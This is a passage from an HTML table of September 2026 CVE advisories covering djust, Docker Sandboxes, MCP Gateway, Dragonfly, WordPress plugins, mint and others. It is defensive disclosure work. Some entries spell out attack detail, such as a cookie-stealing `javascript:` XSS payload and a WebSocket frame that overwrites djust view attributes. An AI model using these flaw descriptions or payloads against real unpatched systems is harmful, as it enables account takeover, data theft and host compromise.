&lt;td&gt;djust provides Phoenix LiveView-style reactive server-side rendering for Django with Rust-powered performance. Prior to version 1.0.7, many djust built-in component template tags (`djust.components.templatetags.*`) render a developer/user-supplied URL into an `href` / `action` attribute, HTML-escaping it with `conditional_escape` but never validating the URL scheme. HTML escaping prevents attribute breakout but does not neutralize a `javascript:` URI (which needs no escapable characters), so a URL value of `javascript:alert(document.cookie)` lands verbatim in `&amp;lt;a href=&quot;javascript:alert(document.cookie)&quot;&amp;gt;` and executes in the victim&#039;s session on click. Version 1.0.7 contains a fix. As a workaround, do not pass user-controllable URLs to the affected built-in component tags; pre-validate URL schemes in application code before binding them to component arguments.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61597&quot; target=&quot;_blank&quot;&gt;CVE-2026-61597&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;djust-org--djust&lt;/td&gt;
&lt;td&gt;djust provides Phoenix LiveView-style reactive server-side rendering for Django with Rust-powered performance. Prior to version 1.0.7, `djust.mixins.model_binding.ModelBindingMixin` provides a default `update_model` event handler and is part of the LiveView base MRO, so every LiveView exposes it. It `setattr`s a view attribute whose name is client-supplied (`field`), gated only by: reject `_`-prefixed names; reject a 14-entry denylist of framework internals (`FORBIDDEN_MODEL_FIELDS`); optional `allowed_model_fields` which defaults to None = allow all; and `hasattr` existence. As a result, a client can set any public, existing view attribute - not just the fields actually bound with `dj-model=` in the rendered template. The denylist covers framework plumbing but nothing about developer business/authz state, and the allowlist is opt-in (off by default). A developer who binds one `dj-model=&quot;search&quot;` input and also keeps `self.account_id` / `self.is_admin` / `self.total_price` as view state does not realize a client can set ALL of them via `{type:event, event:&quot;update_model&quot;, params:{field, value}}` over the WebSocket. Type coercion matches the target attribute&#039;s type (so `&quot;true&quot;` -&amp;gt; bool True), aiding the attacker. This issue is fixed in djust 1.0.7. As a workaround, set `allowed_model_fields` explicitly on every view using dj-model (or subclassing LiveView) to the minimal list of bindable fields; do not keep authorization/ownership state in public view attributes that share the view with dj-model bindings.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61598&quot; target=&quot;_blank&quot;&gt;CVE-2026-61598&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;djust-org--djust&lt;/td&gt;
&lt;td&gt;djust provides Phoenix LiveView-style reactive server-side rendering for Django with Rust-powered performance. Prior to version 1.0.7, the djust live transport resolves the LiveView to mount from a client-supplied dotted path by calling `__import__(module_path, ...)`. The module is imported - running its top-level code (import side effects) - before the framework checks that the resolved object is a `LiveView` subclass and before any per-view authentication. The `LIVEVIEW_ALLOWED_MODULES` allowlist that should contain this is fail-open (`if allowed_modules:` - skipped when the setting is unset, the framework default) and uses loose `startswith` matching. An unauthenticated WebSocket client (the WS handshake does not require auth; per-view auth runs only after import + instantiate) can therefore send a `mount` / `live_redirect_mount` / `url_change` frame (or an SSE mount) with `view = &quot;&amp;lt;any.importable.module&amp;gt;.AnyName&quot;` and cause the server to import - and execute the top-level code of - any importable Python module by name. Version 1.0.7 fixes the issue with a fail-closed resolution gate (`djust._view_resolution.is_view_import_allowed`): a client view path resolves only if (a) its module is already loaded (`sys.modules` - so resolving runs no new code; URL-routed views loaded by URLconf at startup keep working with zero config) or (b) it matches `LIVEVIEW_ALLOWED_MODULES` on a module-segment boundary (explicit opt-in for lazily-imported views). The gate runs before `__import__` at all three sinks (+ defense-in-depth inside `_instantiate_view`). As a workaround, set `LIVEVIEW_ALLOWED_MODULES` to the narrow list of modules that contain your mountable LiveView classes. (Note: pre-patch the allowlist is `startswith`-matched and the import still precedes the subclass check, so this is mitigation, not a complete fix.)&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61599&quot; target=&quot;_blank&quot;&gt;CVE-2026-61599&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Docker--Docker Sandboxes&lt;/td&gt;
&lt;td&gt;On macOS, the virtio-fs host server used by Docker Sandboxes improperly follows symlinks when reopening an unlinked file from a stored path. A malicious guest can replace a parent directory with a symlink, escape the shared workspace, and read or modify arbitrary host files as the VMM user, potentially achieving host code execution.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77179&quot; target=&quot;_blank&quot;&gt;CVE-2026-77179&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Docker--Docker Sandboxes&lt;/td&gt;
&lt;td&gt;The guest-to-host Unix-domain socket relay in Docker Sandboxes validates that a socket path is inside an authorized workspace, but later reconnects using the pathname. A malicious guest can replace an intermediate directory with a symlink between validation and connection, causing the host to connect to an arbitrary AF_UNIX socket outside the shared workspace. This can expose data or host-side capabilities provided by the targeted socket.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79994&quot; target=&quot;_blank&quot;&gt;CVE-2026-79994&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;docker--mcp-gateway&lt;/td&gt;
&lt;td&gt;MCP Gateway allows easy and secure running and deployment of MCP servers. From 0.21.0 until 0.42.2, Docker MCP Gateway YAML-unmarshalled the attacker-controlled io.docker.server.metadata OCI image label into the broad catalog.Server structure for direct docker:// references and catalog snapshot imports in pkg/oci/self_contained.go and pkg/workingset/workingset.go. Runtime-shaping fields including Volumes, User, and ExtraHosts were then appended to the docker run argument vector without an origin allowlist, allowing a malicious image author to request host filesystem or Docker socket mounts and UID 0 execution when a victim selected or pulled the image. This container-creation-time boundary bypass can execute arbitrary code on the host and is not prevented by no-new-privileges because no in-container privilege escalation is required. This issue is fixed in version 0.42.2.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55887&quot; target=&quot;_blank&quot;&gt;CVE-2026-55887&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;doyensec--safeurl&lt;/td&gt;
&lt;td&gt;safeurl is a server-side request forgery protection library. Prior to 0.2.4, the privateNetworks list in ip.go omits the IPv6 ranges 64:ff9b:1::/48, 5f00::/16, 3fff::/20, and 100:0:0:1::/64. When an application enables IPv6 with EnableIPv6(true), an attacker-controlled destination in one of these ranges is not recognized as non-public and can pass the SSRF destination check, potentially allowing access to resources hosted within the omitted ranges. IPv6 is disabled by default, and configurations that retain EnableIPv6(false) are not exposed to this bypass. This issue is fixed in version 0.2.4.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54452&quot; target=&quot;_blank&quot;&gt;CVE-2026-54452&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;dragonflyoss--dragonfly&lt;/td&gt;
&lt;td&gt;Dragonfly is an open source P2P-based file distribution and image acceleration system. Prior to 2.4.4, manager/router/router.go registers GET /api/v1/oauth and GET /api/v1/oauth/:id without jwt.MiddlewareFunc() or RBAC(), while manager/handlers/oauth.go returns models.Oauth records and manager/models/oauth.go exposes Oauth.ClientSecret as client_secret in JSON. When an administrator has configured a GitHub or Google OAuth provider, an unauthenticated network client can reach GetOauth or GetOauths, load the stored models.Oauth record, and obtain the provider&#039;s client secret, client identifier, and redirect URL. The earlier GHSA-j8hf-cp34-g4j7 remediation protected the /jobs group only and did not protect these OAuth GET handlers. Disclosure of client_secret can enable abuse of the configured identity-provider integration, subject to the provider&#039;s redirect URI restrictions. This issue is fixed in 2.4.4.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-49254&quot; target=&quot;_blank&quot;&gt;CVE-2026-49254&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;dragonflyoss--dragonfly&lt;/td&gt;
&lt;td&gt;Dragonfly is an open source P2P-based file distribution and image acceleration system. Prior to 2.4.4-rc.3, the scheduler&#039;s default unauthenticated v1 gRPC flow accepts attacker-controlled PeerHost.Ip and PeerHost.DownPort values through RegisterPeerTask and ReportPeerResult, storeHost copies those values into resource.Host, and handlePeerSuccess invokes Peer.DownloadTinyFile() for a TINY task. DownloadTinyFile() in scheduler/resource/standard/peer.go builds an HTTP GET request from the supplied address without destination validation, allowing a remote attacker to probe loopback, link-local, and private services and place up to TinyFileSize, 128 bytes, of a response in Task.DirectPiece for later retrieval. PeerHost.DownPort is restricted to ports 1024 through 65534, and the issue provides read SSRF rather than remote code execution. The remediation blocks loopback and link-local targets, while RFC1918 destinations remain reachable because IsGlobalUnicast accepts private ranges. This issue is fixed in 2.4.4-rc.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54637&quot; target=&quot;_blank&quot;&gt;CVE-2026-54637&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Duplicati--Duplicati&lt;/td&gt;
&lt;td&gt;Incorrect Permission Assignment for Critical Resource in the configuration loader of Duplicati for Windows versions before v2.4.0.0 allows a local low-privileged attacker to escalate privileges to NT AUTHORITY\SYSTEM via an attacker-controlled preload.json file.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76159&quot; target=&quot;_blank&quot;&gt;CVE-2026-76159&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Easy Appointments--Easy Appointments&lt;/td&gt;
&lt;td&gt;The Easy Appointments WordPress plugin before 4.0.2.2 does not use an unguessable token to authorize its mail-link appointment cancellation and confirmation action, deriving the token from a hardcoded source-embedded salt and the appointment&#039;s creation timestamp, so unauthenticated attackers who know or guess that timestamp can cancel or confirm arbitrary appointments.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87965&quot; target=&quot;_blank&quot;&gt;CVE-2026-87965&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Easy Appointments--Easy Appointments&lt;/td&gt;
&lt;td&gt;The Easy Appointments WordPress plugin before 4.0.2.2 does not perform an ownership or authorization check on its unauthenticated appointment-reservation endpoint before updating an existing appointment identified by a request-supplied id, allowing unauthenticated attackers to overwrite, and through a follow-on cleanup delete, arbitrary appointments.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87966&quot; target=&quot;_blank&quot;&gt;CVE-2026-87966&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Easy Form Builder by WhiteStudio--Easy Form Builder by WhiteStudio&lt;/td&gt;
&lt;td&gt;The Easy Form Builder by WhiteStudio WordPress plugin before 4.2.0 does not validate a submitted value against the stored configuration for some of its form types, allowing unauthenticated users to store arbitrary content which is then rendered unescaped in an admin page, leading to Stored XSS.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85122&quot; target=&quot;_blank&quot;&gt;CVE-2026-85122&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Easy Form Builder by WhiteStudio--Easy Form Builder by WhiteStudio&lt;/td&gt;
&lt;td&gt;The Easy Form Builder by WhiteStudio WordPress plugin before 4.2.0 does not validate a submitted value against the stored configuration for some of its form types, allowing unauthenticated users to create WordPress accounts on a site whose owner has disabled registration.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85123&quot; target=&quot;_blank&quot;&gt;CVE-2026-85123&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Eclipse Foundation--Eclipse Ankaios&lt;/td&gt;
&lt;td&gt;In Eclipse Ankaios versions 0.1.0 through 1.0.2, the agent creates workload files and Control Interface named pipes (FIFOs) under a predictable path derived from the agent name and a hash of the workload&#039;s runtime configuration. If a directory or FIFO already exists at that path when the agent (re)starts, the agent reuses it based only on an existence and/or file-type check, without validating its owner or permissions. A local, unprivileged user with write access to the same base directory (by default under `$TMPDIR/ankaios`, e.g. shared `/tmp`) can pre-create this path hierarchy, including the two Control Interface FIFOs, before the agent starts. The agent then treats the attacker-owned FIFOs as the legitimate Control Interface for the targeted workload. The attacker can complete the Control Interface handshake and issue requests using that workload&#039;s configured `controlInterfaceAccess` permissions, allowing impersonation of the workload and, depending on its configured permissions, unauthorized reading and/or modification of the cluster&#039;s desired state.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86836&quot; target=&quot;_blank&quot;&gt;CVE-2026-86836&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Eclipse Foundation--Eclipse Ankaios&lt;/td&gt;
&lt;td&gt;In Eclipse Ankaios versions 0.6.0 to before 1.0.4, `LogRule::matches` in the agent control-interface authorizer stops at the first wildcard pattern in a single rule instead of evaluating later entries, which can cause deny `LogRule` entries to be skipped and allow unauthorized access to another workload&#039;s logs.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92611&quot; target=&quot;_blank&quot;&gt;CVE-2026-92611&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Eclipse Foundation--Eclipse Data Plane Core&lt;/td&gt;
&lt;td&gt;In Siglet current and past versions the refresh token handler do not enforce proof of possession of the issuer DID.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88819&quot; target=&quot;_blank&quot;&gt;CVE-2026-88819&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Eclipse Foundation--Eclipse Embedded CDT (C/C++ Development Tools)&lt;/td&gt;
&lt;td&gt;In Eclipse Embedded CDT versions 6.0 to 6.7 if the CMSIS-Pack archive extracts a compromised CMSIS pack the archive extraction can extract files to locations outside of the pack, allowing writing of arbitrary files to other locations on disk.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78299&quot; target=&quot;_blank&quot;&gt;CVE-2026-78299&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;edmundhung--conform&lt;/td&gt;
&lt;td&gt;Conform, a type-safe form validation library, allows the parsing of nested objects in the form of object.property. From 1.8.0 until 1.19.4, the parseSubmission future API in packages/conform-dom/formdata.ts repeatedly scans FormData or URLSearchParams entries by each unique field name. An unauthenticated attacker can submit a crafted form containing many unique names, causing excessive synchronous CPU work and denial of service in an application that passes the submission to parseSubmission. Applications should continue to enforce request parsing limits before invoking Conform. This issue is fixed in version 1.19.4.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-49250&quot; target=&quot;_blank&quot;&gt;CVE-2026-49250&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Ekia--File Manager&lt;/td&gt;
&lt;td&gt;Ekia File Manager 1.2.7 exposes com.ekia.filecontrolmanager.OpenFileProvider as an exported Android ContentProvider without requiring caller permissions. The provider maps the caller-controlled URI path directly to a filesystem path and passes it to new File(...). It then supports query(), openFile(), and delete() operations. Because the provider is exported and lacks android:permission, android:readPermission, or android:writePermission, another local application can access the provider authority and cause File Manager&#039;s process to read, create, overwrite, or delete files that are accessible to that process.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81301&quot; target=&quot;_blank&quot;&gt;CVE-2026-81301&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;elixir-mint--mint&lt;/td&gt;
&lt;td&gt;Inconsistent Interpretation of HTTP Requests (&#039;HTTP Request/Response Smuggling&#039;) vulnerability in elixir-mint mint allows a malicious HTTP/1 server to desynchronize a strict intermediary and the Mint client on a pooled connection, enabling response-queue poisoning against subsequent requests that share the connection. Mint.HTTP1.Parse.chunk_size/1 in lib/mint/http1/parse.ex stops at the first non-hexadecimal byte of a chunked response&#039;s chunk-size line and returns the remainder unexamined. Mint.HTTP1.decode_body/5 in lib/mint/http1.ex then discards every byte up to the CRLF with Parse.ignore_until_crlf/1, so the accepted grammar is a run of hex digits followed by arbitrary bytes, where RFC 9112 permits only a ;-introduced chunk extension. Lines such as 5ZZZZZ and 5 9 are accepted as chunk size 5, and 0ZZZZ is accepted as the terminating chunk that ends the message body. An RFC-strict intermediary rejects such a line while Mint accepts it, so the two disagree on chunk boundaries and on where the response ends. This issue affects mint: from 0.1.0 before 1.10.1.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82672&quot; target=&quot;_blank&quot;&gt;CVE-2026-82672&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;elixir-protobuf--protobuf&lt;/td&gt;
&lt;td&gt;Elixir protobuf is a pure Elixir implementation of Google Protobuf. From 0.8.0 until 0.16.1, services that decode attacker-controlled protobuf bytes with Protobuf.Decoder can be taken offline when the schema contains a self-referential or cyclic message type. In lib/protobuf/decoder.ex, Protobuf.Decoder.value_for_field/3 handles an embedded?: true field by recursively entering the decode / build_message / handle_value / value_for_field call chain without enforcing a nesting-depth limit. Deeply nested embedded fields retain non-tail recursive frames, allowing a comparatively small request to consume substantial CPU and memory, pin a BEAM scheduler, and exhaust the node. This issue is fixed in version 0.16.1.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54451&quot; target=&quot;_blank&quot;&gt;CVE-2026-54451&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;equinor--surfio&lt;/td&gt;
&lt;td&gt;Surfio is a library for reading and writing surface files. Prior to 0.0.19, surfio does not correctly validate size fields in IRAP files, leading to a buffer overflow when untrusted files are parsed. The severity assumes surfio is used to parse untrusted files in a networking context such as a web service. This issue is fixed in version 0.0.19.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55211&quot; target=&quot;_blank&quot;&gt;CVE-2026-55211&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ESP32Async--ESPAsyncWebServer&lt;/td&gt;
&lt;td&gt;ESPAsyncWebServer is an asynchronous HTTP and WebSocket server library for ESP32, ESP8266, RP2040 and RP2350. Prior to 3.11.1, the multipart/form-data parser in src/WebRequest.cpp stores _boundaryPosition as an 8-bit value while _parseMultipartPostByte processes the boundary. A remote request containing an exactly 256-byte multipart boundary wraps _boundaryPosition from 255 to zero, prevents the boundary parsing loop from terminating, consumes excessive CPU, and triggers a FreeRTOS watchdog reset on affected ESP32 or ESP8266 devices. This issue is fixed in version 3.11.1.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54571&quot; target=&quot;_blank&quot;&gt;CVE-2026-54571&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Estatik Real Estate Plugin--Estatik Real Estate Plugin&lt;/td&gt;
&lt;td&gt;The Estatik Real Estate Plugin WordPress plugin before 4.3.5 does not sanitise and escape several values decoded from a request parameter before reflecting them back in an unauthenticated AJAX response, leading to Reflected Cross-Site Scripting.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76790&quot; target=&quot;_blank&quot;&gt;CVE-2026-76790&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Event Booking Manager for WooCommerce--Event Booking Manager for WooCommerce&lt;/td&gt;
&lt;td&gt;The Event Booking Manager for WooCommerce WordPress plugin before 5.3.8 does not perform an ownership or authorization check before rendering booking confirmation details, allowing unauthenticated attackers to retrieve registered attendees&#039; personal information (full name, email address, phone number, and custom registration fields) by supplying an enumerable booking reference. Exploitation is limited to sites configured to use the Event Booking Manager for WooCommerce WordPress plugin before 5.3.8&#039;s native (non-WooCommerce) checkout, which is not the default.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91008&quot; target=&quot;_blank&quot;&gt;CVE-2026-91008&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Event Booking Manager for WooCommerce--Event Booking Manager for WooCommerce&lt;/td&gt;
&lt;td&gt;The Event Booking Manager for WooCommerce WordPress plugin before 5.6.0 does not restrict who can view its stored payment gateway configuration, allowing users with Contributor-level access and above to read the site&#039;s PayPal and Stripe credentials, including their secret keys.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91019&quot; target=&quot;_blank&quot;&gt;CVE-2026-91019&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Eventin--Eventin&lt;/td&gt;
&lt;td&gt;The Eventin WordPress plugin before 4.1.24 does not prevent the token issued to a guest at checkout from being used to change that order&#039;s tickets afterwards, allowing unauthenticated users to replace a paid ticket with a free one and complete the order at no charge.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77702&quot; target=&quot;_blank&quot;&gt;CVE-2026-77702&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Eventin--Eventin&lt;/td&gt;
&lt;td&gt;The Eventin WordPress plugin before 4.1.24 does not verify a user&#039;s capability to create accounts when adding a speaker, allowing users with contributor-level access and above to create new WordPress user accounts that carry capabilities beyond their own, including publishing content and uploading files, and, by supplying an email address they control, to obtain a working login to the created account.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84905&quot; target=&quot;_blank&quot;&gt;CVE-2026-84905&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Eventin--Eventin&lt;/td&gt;
&lt;td&gt;The Eventin WordPress plugin before 4.1.24 does not properly authorise order finalisation when its offline (local) payment method is enabled, relying on a nonce that is exposed to unauthenticated visitors and never checking that the caller owns the order, allowing unauthenticated attackers to reset any existing order and its attendees to a pending state and thereby invalidate paid tickets.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84907&quot; target=&quot;_blank&quot;&gt;CVE-2026-84907&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;EWWW Image Optimizer--EWWW Image Optimizer&lt;/td&gt;
&lt;td&gt;The EWWW Image Optimizer WordPress plugin before 8.7.7 does not properly escape image attribute values when it rewrites page output, allowing authenticated users with author-level access and above to inject arbitrary JavaScript that is stored in published content and executes in the browser of any user who later views the affected page.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91011&quot; target=&quot;_blank&quot;&gt;CVE-2026-91011&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;F1bonacc1--process-compose&lt;/td&gt;
&lt;td&gt;Process Compose is a scheduler and orchestrator for non-containerized applications. Prior to 1.120.0, the MCP SSE listener in src/mcp/server.go accepts browser-origin requests to /sse and the returned message endpoint without validating the Host header, validating the Origin header, or authenticating the caller. When MCP SSE is enabled, a malicious website can use DNS rebinding to reach the loopback listener and issue MCP requests. If expose_control_tools is enabled, the attacker can enumerate process state, read or search logs, truncate logs, and start, stop, restart, or scale local processes; configured user-defined tools can expose additional commands and output. The Gin REST API token middleware does not protect this separately started MCP listener. This issue is fixed in version 1.120.0.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77339&quot; target=&quot;_blank&quot;&gt;CVE-2026-77339&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Fabric.js--Fabric.js&lt;/td&gt;
&lt;td&gt;Fabric.js loadFromJSON Server-Side Request Forgery Vulnerability. This vulnerability allows remote attackers to disclose sensitive information on affected installations of Fabric.js. Interaction with this library is required to exploit this vulnerability but attack vectors may vary depending on the implementation. The specific flaw exists within the implementation of the loadFromJSON method. The issue results from the lack of proper validation of a URI prior to accessing resources. An attacker may be able to leverage this vulnerability to gain improper access to network resources. Was ZDI-CAN-29318.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19504&quot; target=&quot;_blank&quot;&gt;CVE-2026-19504&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
